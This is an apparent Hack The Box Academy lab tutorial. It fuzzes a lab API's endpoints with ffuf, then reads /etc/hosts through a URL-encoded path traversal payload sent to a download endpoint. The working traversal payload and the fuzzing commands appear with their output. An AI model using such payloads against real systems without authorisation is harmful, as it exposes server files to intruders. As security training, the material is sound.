# Local File Inclusion (LFI)

Local File Inclusion (LFI) is an attack that affects web applications and APIs alike. It allows an attacker to read internal files and sometimes execute code on the server via a series of ways, one being Apache Log Poisoning. Our [File Inclusion](https://academy.hackthebox.com/module/details/23) module covers LFI in detail.

Let us assess together an API that is vulnerable to Local File Inclusion.

Proceed to the end of this section and click on Click here to spawn the target system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the supplied VPN key to reach the target API and follow along.

Suppose we are assessing such an API residing in http://<TARGET IP>:3000/api.

Let us first interact with it.

yovecio@htb[/htb]$ curl http://<TARGET IP>:3000/api  
{"status":"UP"}

We don't see anything helpful except the indication that the API is up and running. Let us perform API endpoint fuzzing using *ffuf* and the [common-api-endpoints-mazen160.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt) list, as follows.

yovecio@htb[/htb]$ ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/common-api-endpoints-mazen160.txt" -u 'http://<TARGET IP>:3000/api/FUZZ'  
  
 /'\_\_\_\ /'\_\_\_\ /'\_\_\_\   
 /\ \\_\_/ /\ \\_\_/ \_\_ \_\_ /\ \\_\_/   
 \ \ ,\_\_\\ \ ,\_\_\/\ \/\ \ \ \ ,\_\_\   
 \ \ \\_/ \ \ \\_/\ \ \\_\ \ \ \ \\_/   
 \ \\_\ \ \\_\ \ \\_\_\_\_/ \ \\_\   
 \/\_/ \/\_/ \/\_\_\_/ \/\_/   
  
 v1.3.1 Kali Exclusive <3  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
 :: Method : GET  
 :: URL : http://<TARGET IP>:3000/api/FUZZ  
 :: Wordlist : FUZZ: /home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/common-api-endpoints-mazen160.txt  
 :: Follow redirects : false  
 :: Calibration : false  
 :: Timeout : 10  
 :: Threads : 40  
 :: Matcher : Response status: 200,204,301,302,307,401,403,405  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
:: Progress: [40/174] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors  
download [Status: 200, Size: 71, Words: 5, Lines: 1]  
:: Progress: [87/174] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors::   
Progress: [174/174] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Error::   
Progress: [174/174] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

It looks like /api/download is a valid API endpoint. Let us interact with it.

yovecio@htb[/htb]$ curl http://<TARGET IP>:3000/api/download  
{"success":false,"error":"Input the filename via /download/<filename>"}

We need to specify a file, but we do not have any knowledge of stored files or their naming scheme. We can try mounting a Local File Inclusion (LFI) attack, though.

yovecio@htb[/htb]$ curl "http://<TARGET IP>:3000/api/download/..%2f..%2f..%2f..%2fetc%2fhosts"  
127.0.0.1 localhost  
127.0.1.1 nix01-websvc  
  
# The following lines are desirable for IPv6 capable hosts  
::1 ip6-localhost ip6-loopback  
fe00::0 ip6-localnet  
ff00::0 ip6-mcastprefix  
ff02::1 ip6-allnodes  
ff02::2 ip6-allrouters

The API is indeed vulnerable to Local File Inclusion!